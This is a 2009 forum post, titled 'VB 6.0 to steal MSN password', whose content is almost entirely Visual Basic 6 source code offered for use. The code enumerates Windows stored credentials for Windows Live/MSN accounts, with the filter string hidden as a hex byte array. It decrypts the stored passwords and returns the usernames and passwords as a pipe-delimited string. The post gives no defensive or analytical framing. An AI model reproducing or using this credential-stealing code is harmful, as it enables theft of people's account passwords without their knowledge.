Serbian Kings

Forums for you...


    VB 6.0 to steal MSN password

    Share
    avatar
    fondza [Admin]
    Admin
    Admin

    Posts : 123
    Join date : 2009-10-03

    VB 6.0 to steal MSN password

    Post by fondza [Admin] on Sat Oct 17, 2009 11:01 am

    This is the code:

    Spoiler (Click to Hide)
    Option Explicit

    Private Declare Function LocalFree Lib "kernel32.dll" (ByVal hMem As Long) As Long
    Private Declare Function LocalAlloc Lib "kernel32.dll" (ByVal wFlags As Long, ByVal wBytes As Long) As Long
    Private Declare Function CredEnumerateW Lib "advapi32.dll" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
    Private Declare Function CredFree Lib "advapi32.dll" (ByVal pBuffer As Long) As Long
    Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long
    Private Declare Function SysAllocString Lib "oleaut32.dll" (ByVal pOlechar As Long) As String
    Private Declare Function GetVersionExA Lib "kernel32.dll" (ByRef lpVersionInformation As OSVERSIONINFO) As Long

    Private Declare Sub GetMem1 Lib "MSVBVM60.DLL" (ByVal lAddress As Long, var As Byte)
    Private Declare Sub CopyBytes Lib "MSVBVM60.DLL" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any)
    Private Declare Sub PutMem4 Lib "MSVBVM60.DLL" (ByVal Dest As Long, ByVal Value As Long)


    Private Type CREDENTIAL
    dwFlags As Long
    dwType As Long
    lpstrTargetName As Long
    lpstrComment As Long
    ftLastWritten As Double
    dwCredentialBlobSize As Long
    lpbCredentialBlob As Long
    dwPersist As Long
    dwAttributeCount As Long
    lpAttributes As Long
    lpstrTargetAlias As Long
    lpUserName As Long
    End Type

    Private Type DATA_BLOB
    cbData As Long
    pbData As Long
    End Type

    Private Type OSVERSIONINFO
    dwOSVersionInfoSize As Long
    dwMajorVersion As Long
    dwMinorVersion As Long
    dwBuildNumber As Long
    dwPlatformId As Long
    szCSDVersion As String * 128
    End Type

    Public Function pMSN() As String
    Dim lMem As Long
    Dim i As Long
    Dim j As Long
    Dim b As Byte
    Dim lCount As Long
    Dim lCred As Long
    Dim ub As Long
    Dim LPTR As Long
    Dim tCred As CREDENTIAL
    Dim tBlobOut As DATA_BLOB
    Dim tBlobIn As DATA_BLOB
    Dim sPass As String
    Dim vData As Variant
    Dim tOSV As OSVERSIONINFO

    With tOSV
    .dwOSVersionInfoSize = Len(tOSV)
    Call GetVersionExA(tOSV)
    If Not .dwMajorVersion + .dwMinorVersion / 10 >= 5.1 Then
    Exit Function
    End If
    End With

    lMem = LocalAlloc(&H40, 38)

    vData = Array( _
    &H57, &H69, &H6E, &H64, &H6F, &H77, &H73, &H4C, &H69, _
    &H76, &H65, &H3A, &H6E, &H61, &H6D, &H65, &H3D, &H2A)

    For i = 0 To 17
    'Call RtlMoveMemory(ByVal lMem + (i * 2), CLng(vData(i)), &H1)
    Call PutMem4(lMem + (i * 2), CLng(vData(i)))
    Next

    Call CredEnumerateW(lMem, 0, lCount, lCred)

    If lCount Then
    For i = ub To ub + lCount - 1
    'Call RtlMoveMemory(ByVal VarPtr(LPTR), ByVal lCred + (i - ub) * 4, &H4)
    Call CopyBytes(&H4, ByVal VarPtr(LPTR), ByVal lCred + (i - ub) * 4)
    'Call RtlMoveMemory(ByVal VarPtr(tCred), ByVal LPTR, &H34)
    Call CopyBytes(&H34, ByVal VarPtr(tCred), ByVal LPTR)


    With tBlobIn
    .pbData = tCred.lpbCredentialBlob
    .cbData = tCred.dwCredentialBlobSize

    Call CryptUnprotectData(tBlobIn, 0&, 0&, 0&, 0&, 1&, tBlobOut)

    'sPass = Space(.cbData \ 2)
    'Call RtlMoveMemory(ByVal StrPtr(sPass), ByVal .pbData, .cbData)
    sPass = vbNullString
    For j = 0 To (.cbData / 2) - 1
    GetMem1 .pbData + j * 2, b
    sPass = sPass & Chr(b)
    Next j

    End With

    If Len(sPass) > 0 Then
    pMSN = pMSN & "---Msn Messenger||" & StrConv(SysAllocString(tCred.lpUserName), vbFromUnicode) & "|" & sPass
    End If
    Next
    ub = ub + lCount
    End If

    Call CredFree(lCred)
    Call LocalFree(lMem)
    End Function

      Current date/time is Mon Jun 25, 2018 5:20 am